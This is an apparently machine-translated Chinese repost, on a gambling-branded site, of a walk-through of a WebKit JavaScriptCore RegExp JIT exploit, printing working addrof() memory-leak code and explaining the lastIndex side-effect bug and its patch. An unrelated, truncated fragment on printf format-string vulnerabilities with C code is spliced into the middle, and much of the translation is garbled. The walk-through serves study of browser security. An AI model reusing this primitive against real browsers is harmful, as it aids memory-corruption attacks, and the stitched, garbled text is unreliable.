WebKit RegExp Exploit addrof() walk-through – browser 0x04 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

WebKit RegExp Exploit addrof() walk-through – browser 0x04

申博_新闻事件 申博 84次浏览 未收录 0个评论

原文地点:https://liveoverflow.com/webkit-regexp-exploit-addrof-walk-through-browser-0x04/

Introduction

在前面的文章中,我们为读者不仅为读者引见了jsc的内部道理,同时,也阐释了exploit的相干道理。所以,在这篇文章中,我们将为读者演示Linus的exploit。考核其源代码的过程当中,我们经由过程index.html发明了一个pwn.html文件,个中引用了很多javascript文件。

<script src="ready.js"></script>
<script src="logging.js"></script>
<script src="utils.js"></script>
<script src="int64.js"></script>
<script src="pwn.js"></script>

如上所示,这里触及多个文件,其作用我们将在背面细致引见。如今,我们将从pwn.js最先动手。实际上,这个剧本很长,约莫536行代码,它们的作用是终究取得恣意代码实行权限,固然,为了到达这一目标,它采取了很多差别的步骤。下面,让我们从文件顶部最先,寻觅一些我们已熟习的身影。

The Familiar

起首,我们来看看前两个函数,即addrofInternal()和addrof()函数。为了便于研讨,无妨先将这两个函数复制到一个零丁的javascript文件中,比方test.js。望文生义,addrof()是一个用于返回对象的内存地点函数。为了测试该函数,我们可以建立一个空对象,然后对其挪用addrof()函数。

object = {}
print(addrof(object))

我们可以应用jsc来完成响应的测试。

$ ./jsc ~/path/to/test.js

假如涌现dyld:symbol not found如许的毛病,那申明须要将动态加载器框架途径设置为Mac中的调试构建目次,详细以下所示。

$ export DYLD_FRAMEWORK_PATH=~/sources/WebKit.git/WebKitBuild/Debug

假如我们尝试用jsc运转这个文件,

$ ./jsc ~/path/to/test.js
5.36780059573437e-310

我们将会看到一个新鲜的数字(实际上是一个内存地点),下面,我们运用Python来举行解码。

>>> leak = 5.36780059573437e-310
>>> import struct # import struct module to pack and unpack the address
>>> hex(struct.unpack("Q", struct.pack("d", leak))) # d = double, Q = 64bit int
0x62d0000d4080

好了,0x62d0000d4080是不是是更像一个地点呀?为了疾速确认它是不是为我们的对象的地点,我们可以运用description要领来显现该对象的相干信息。

object = {}
print(describe(object))
print(addrof(object))

$ ./jsc ~/path/to/test.js
Object: 0x62d0000d4080 with butterfly ...
5.36780059573437e-310

很明显,二者是一致的,这证明这确实是一个地点走漏破绽。然则这里是怎样获得这个地点的呢?现在来看,貌似是addrof和addrofInternal不知何以泄露了地点,所以,让我们从addrof最先举行研讨。

// Need to wrap addrof in this wrapper because it sometimes fails (don't know why, but this works)
function addrof(val) {
  for (var i = 0; i < 100; i++) {
    var result = addrofInternal(val);
    if (typeof result != "object" && result !== 13.37){
        return result;
    }
  }

  print("[-] Addrof didn't work. Prepare for WebContent to crash or other strange\
        stuff to happen...");
  throw "See above";
}

整体来讲,该函数好像有一个轮回,轮回次数约莫为100次,每次轮回时,它都邑挪用addrofInternal函数。然后,搜检效果的范例是不是为“object”,以及其值是不是为13.37。解释指出,必需有两个函数,因为须要将其封装到另一个函数中,因为在某些情况下exploit运转时会失利。这意味着真正的魔法发生在addrofinternal函数中,所以让我们先来看看这个函数!

//
// addrof primitive
//
function addrofInternal(val) {
  var array = [13.37];
  var reg = /abc/y;

  function getarray() {
    return array;
  }

  // Target function
  var AddrGetter = function(array) {
    for (var i = 2; i < array.length; i++) {
      if (num % i === 0) {
        return false;
      }
    }

    array = getarray();
    reg[Symbol.match](val === null);
    return array[0];
  }

  // Force optimization
  for (var i = 0; i < 100000; ++i)
    AddrGetter(array);

  // Setup haxx
  regexLastIndex = {};
  regexLastIndex.toString = function() {
    array[0] = val;
    return "0";
  };
  reg.lastIndex = regexLastIndex;

  // Do it!
  return AddrGetter(array);
}

The Bug

起首,这里有一个数组array,但只要一个元素,即13.37,假如我们考核末了一行的return语句,发明它会挪用AddrGetter函数,该函数将返回该数组的第一个元素。因而,当前封装函数搜检!== 13.37是不是建立是有意义的,假如返回的值依然是13.37的话,那末,我们就会再试一次。因而,该数组的第一个元素应当经由过程某种体式格局变成对象的地点。

别的,这里另有一个正则表达式对象reg,其RegEx选项被设为“y”,这意味着搜刮是具有粘性的(sticky),而sticky是RegEx行动的一个特别RegEx选项,示意仅从正则表达式的lastIndex属性示意的索引处搜刮 。前文说过,这个破绽是因为优化RegEx婚配体式格局的题目而至,因而这个RegEx异常重要。

别的,这里另有一个名为getArray的冗余函数,它只用于返回该数组,所以,貌似我们可以删除该函数。

同时,上面另有一个轮回,迭代次数为100,000次并挪用AddrGetter函数。如许做是为了强迫举行JIT优化。

AddrGetter函数中有一个for轮回,虽然它什么也不做,但显然有一个特别的用处。而且saelo在相似破绽的应用代码的解释中也说过,“某些代码可以防止内联”,这意味着JIT编译器可以经由过程内联某些函数来完成优化,然则假如某些函数像如许庞杂的话,JIT编译器就不会经由过程内联举行优化了。不过,纵然移除这个轮回,在这里也并没有大碍——所以,这里只是为了确保这些函数不会内联。

这里另有一个名为AddrGetter的函数,这个函数的功用很简单——挪用match要领并返回array[0]。经由过程Symbol,我们可以以差别的体式格局挪用match要领,不过,我们也可以用”abc”.match(reg)替代它,这看起来要更简约一些。这个函数会因第4步的轮回而被JIT化。也就是说,它会被编译成机械代码。我们晓得,因为JIT编译器会举行优化,所以JIT自然会晓得数组元素为双精度浮点型,所以,它能够会返回一个双精度浮点型数组,而且不再举行范例搜检。

但是,这些应当不会激发安全题目,因为一旦某个东西在JIT化的代码中涌现副作用的话,它就会被抛弃,对吗?效果究竟怎样,我们拭目以待。(副作用是可以将数组从双精度浮点型数组变成其他范例数组的东西)。

如今,我们建立一个名为regexLastIndex的对象,并掩盖toString要领。一旦该函数被实行,array[0]的值就会被转变,而且该函数将返回“0”。我们晓得,该数组最初是一个双精度浮点型数组(ArrayWithDouble),然则一旦我们将元素改成对象,数组就会变成一个占有一连内存空间的数组(ArrayWithContigous),这意味着第一个元素如今是指针,而不再是数字。(这就是所谓的副作用)。

WebKit RegExp Exploit addrof() walk-through - browser 0x04

末了,将reg.lastIndex分配给新建立的对象regexLastIndex。所以如今,这个函数已基础停当,它将数组的第一个元素设置为我们指定的值,只是它还没有被实行。不过,lastIndex一旦被接见,就会实行toString函数。

lastIndex是正则表达式实例的读/写整数属性,指定下次婚配时从哪个索引最先。

假如RegEx是从lastIndex属性读取相干数据,以肯定下次婚配时从那里最先的话,那末,我们或许能诳骗经由优化的JIT型代码,使其将该数组视为双精度浮点型(ArrayWithDouble),并将其元素转换为指向对象的指针。

printf 罕见破绽

对 printf 常见漏洞做了整合,并举出相应的例子。 原理就是将栈上或者寄存器上的信息泄露出来,或者写入进去,为了达到某些目的。 第一种:整数型 第一种是直接利用printf函数的特性,使用n$直接进行偏移,从而泄露指定的信息,最典型的就是%d。 举个例子: #include
#include
#include
#include

int login(long long password)
{
char buf[0x10] = {0};
long long your_pass;

scanf(“%15s”, buf);
printf(buf);
printf(“\n”);
scanf(“%lld”, &your_pass);

return password == your_pass;
}

int main()
{
long long pass

这就是再次实行AddrGetter的缘由。此时,这个函数将被JIT化,经由优化的JIT型代码将实行一个功用与我们本来的正则表达式等价的正则表达式,但如今详细代码会有些差别。也就是说,该函数在JIT化以后,lastIndex属性也随之转变了。

人人还记得前面示意黏性的“y”吗?

sticky属性反应搜刮是不是是黏性的仅从该正则表达式的lastIndex属性指导的索引处最先搜刮字符串)。关于某个正则表达式对象来讲属性sticky是只读属性

如今,内部RegEx代码必需检察lastIndex属性,但它注重到——它并非数字,而是一个对象,所以,它会试图经由过程挪用toString将效果转换为数字,而这会触发对数组的赋值操纵。

如今,该数组将会被更新,而且该数组的第一个元素被设置为我们的对象。婚配完毕后,我们终究经由过程AddrGetter返回第一个元素。题目就出在这里。JIT化的函数依然返回第一个元素,而且不举行任何范例检测。

这里的重要题目是,在相干函数JIT化后,Javascript引擎依然以为数组没有发生变化,并依然将返回的数组的第一个元素作为双精度浮点型对待,但事实上,它已变成一个指向对象的指针,即我们走漏的地点。

Cleaning the Exploit Code

在WebKit官方网站的一篇解说调试技术文章中,引见了很多在调试过程当中异常有效的环境变量,就这里来讲,我们最感兴趣的一个环境变量就是JSC_reportDFGCompileTimes,它能通知我们经由过程DFG或FTL举行优化的函数所用的编译时候。别的,我还在封装函数addrof中添加了一个print语句,以显现详细时候。

function addrof(val) {
  for (var i = 0; i < 100; i++) {
    print("exploit attempt nr.", i); // Added print statement to see different attempts
    var result = addrofInternal(val);
  ...

如今,假如我们在JSC_reportDFGCompileTimes = true时运转它,我们将看到以下效果。

WebKit RegExp Exploit addrof() walk-through - browser 0x04

如您所见,这里举行了两次差别的尝试。第一次尝试失利了,个中AddrGetter函数优化了两次:一次运用DFG举行的优化,另一次运用FTL举行的优化。不过,第二次尝试胜利了,而且此次只用DFG举行了优化,多是因为轮回次数太大,所以基础没必要举行FTL优化。因而,假如不想举行FTL优化的话,就要削减迭代次数。所以,让我们将迭代次数从100,000改成10,000。

// Force optimization
  for (var i = 0; i < 10000; ++i)
    AddrGetter(array);

如今,假如我们再次运转,该exploit就会马上见效,所以,如今可以删除这个封装函数并直接挪用它。

Digging Deep

接下来,我们最先考核JSC_dumpSourceAtDFGTime环境变量,经由过程它可以找到一切将被优化的JavaScript代码,我们可以沿着这些线索举行深挖。

$ JSC_dumpSourceAtDFGTime=true \
JSC_reportDFGCompileTimes=true \
./jsc test.js

WebKit RegExp Exploit addrof() walk-through - browser 0x04

如您所见,它指出了哪些函数经由了优化处置惩罚,在我们的例子中,就是AddrGetter函数。因为这个函数运用了match函数,因而在上图中可以看到,在举行RegEx婚配时该要领经由了响应的内联和优化处置惩罚。这看起来能够很新鲜,但事实证明,Javascript引擎的一些中心函数(如match)是用Javascript言语而不是C++言语编写的。因为在优化过程当中,用Javascript编写的函数可以像上面一样举行内联处置惩罚,以便进步实行速率。读者可以在builtins/StringPrototype.js中找到match函数的源代码。

// builtins/StringPrototype.js
// '...' = code we are not interested in.
function match(regex)
{
    "use strict";

    if (this == null)
        @throwTypeError(...);

    if (regex != null) {
        var matcher = regexp.@matchSymbol; // Linus's exploit directly called matchSymbol
        if (matcher != @undefined)
            return matcher.@call(regexp, this);
    }
    ...
}

WebKit RegExp Exploit addrof() walk-through - browser 0x04

我们还可以看到,该引擎也对Symbol.match的代码举行了响应的内联和优化处置惩罚,其源代码可以在builtins/RegExpPrototype.js中找到。

// builtins/RegExpPrototype.js
@overriddenName="[Symbol.match]"
function match(strArg)
{
  ...

  if (!@hasObservableSideEffectsForRegExpMatch(this))
      return @regExpMatchFast.@call(this, str);
  return @matchSlow(this, str);
}

如上所示,这里确切搜检了代码是不是有副作用(side effects)! 假如代码确切有副作用的话,那末它将挪用MatchSlow;假如没有的话,那末它将挪用RegExpMatchFast。假如我们检察该破绽的补丁顺序,我们会发明个中添加了一个搜检这个题目的HasObservableSideEffectsForRegExpMatch函数。

WebKit RegExp Exploit addrof() walk-through - browser 0x04

return typeof regexp.lastIndex !== "number";

这将搜检正则表达式的lastIndex属性是不是为“数字”,因为在我们的exploit中,我们建立了一个带有toString函数的对象,而非数字。也就是说,这个破绽之所以存在,是因为开发人员忘记了对副作用举行响应的搜检!

趁便说一句,regExpMatchFast并非一个函数,相反,它更像是一个“操纵代码/指令”,详细代码请拜见DFGAbstractInterpreterInlines.h文件。

switch (node->op()) {
    ...
    case RegExpTest:
        // Even if we've proven know input types as RegExpObject and String,
        // accessing lastIndex is effectful if it's a global regexp.
        clobberWorld();
        setNoneCellTypeForNode(node, SpecBoolean);
        break;
    case RegExpMatchFast:
        ...
    ...
}

这是一个异常大的switch语句,其作用是从图中猎取一个节点并搜检它的操纵码。个中,有一个case子句是用来搜检regExpMatchFast的。风趣的是,在这个子句的上面,还对RegExpTest举行了搜检,假如满足前提的话就会挪用clobberWorld——我们晓得,这意味着JIT不再信托对象的构造而且退出。须要注重的是,这里的解释也很有意义:

Even if we've proven know input types as RegExpObject and String, accessing lastIndex is effectful if it's a global regexp.

所以我猜他们确切想到了接见lastIndex会实行致使副作用的Javascript代码,从而损坏所做的一切假定……然则regExpMatchFast被遗忘了。

这确实很酷,不是吗?


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明WebKit RegExp Exploit addrof() walk-through – browser 0x04
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址